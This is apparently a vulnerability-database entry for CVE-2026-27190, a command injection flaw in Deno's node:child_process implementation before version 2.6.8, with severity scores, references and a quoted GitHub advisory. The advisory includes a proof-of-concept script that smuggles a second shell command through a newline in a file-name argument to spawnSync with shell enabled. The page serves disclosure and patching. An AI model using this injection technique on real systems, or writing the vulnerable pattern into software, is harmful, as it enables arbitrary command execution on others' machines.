CVE-2026-27190
criticalpriority · track · 40EPSS 0.025 · 84 %ileEUUSEPSS · scored 2026-10-27
Deno is a JavaScript, TypeScript, and WebAssembly runtime. Prior to 2.6.8, a command injection vulnerability exists in Deno's node:child_process implementation. This vulnerability is fixed in 2.6.8.
cvss
Technical severity, 0–10. One row per scoring source.
base score 0–10 · higher = more severe · hover a vector to decode⚠ sources disagree · high–critical · 8.1–9.8
ssvc
A stakeholder decision — act, attend, or track — from exploitation and impact.
weaknesses
The CWE weakness classes this flaw belongs to.
affected products (3)
Products and version ranges known to be affected.
advisories (1)
Vendor and ecosystem advisories describing this.
- GHSA-hmh4-3xvx-q5hrDeno has a Command Injection via Incomplete shell metacharacter blocklist in node:child_process2026-02-19ghsa · osvUS
## Summary A command injection vulnerability exists in Deno's `node:child_process` implementation. ## Reproduction ```javascript import { spawnSync } from "node:child_process"; import * as fs from "node:fs"; // Cleanup try { fs.unlinkSync('/tmp/rce_proof'); } catch {} // Create legitimate script fs.writeFileSync('/tmp/legitimate.ts', 'console.log("normal");'); // Malicious input with newline injection const maliciousInput = `/tmp/legitimate.ts\ntouch /tmp/rce_proof`; // Vulnerable pattern spawnSync(Deno.execPath(), ['run', '--allow-all', maliciousInput], { shell: true, encoding: 'utf-8' }); // Verify console.log('Exploit worked:', fs.existsSync('/tmp/rce_proof')); ``` Run: `deno run --allow-all poc.mjs` The file `/tmp/rce_proof` is created, confirming arbitrary command execution. ## Mitigation All users need to update to the patched version (Deno v2.6.8).
also known as (3)
Other names and identifiers for this entity.
sources
Which sources assert this record, and when.
references (10)
External citations — patches, advisories, analysis.
- https://deno.com/Patchcnnvd
- https://github.com/denoland/deno/commit/9132ad958c83a0d0b199de12b69b877f63edab4ccnnvd
- https://github.com/denoland/deno/releases/tag/v2.6.8cnnvd
- https://github.com/denoland/deno/security/advisories/GHSA-hmh4-3xvx-q5hrcnnvd
- https://github.com/denoland/deno/commit/9132ad958c83a0d0b199de12b69b877f63edab4cenisa_euvd
- https://github.com/denoland/deno/releases/tag/v2.6.8enisa_euvd
- https://github.com/denoland/deno/security/advisories/GHSA-hmh4-3xvx-q5hrenisa_euvd
- https://github.com/denoland/deno/commit/9132ad958c83a0d0b199de12b69b877f63edab4cPatchnvd
Attackers weaponise vulnerabilities like this against internet-exposed services. See what is exposed on your perimeter with a free passive scan.
Free scan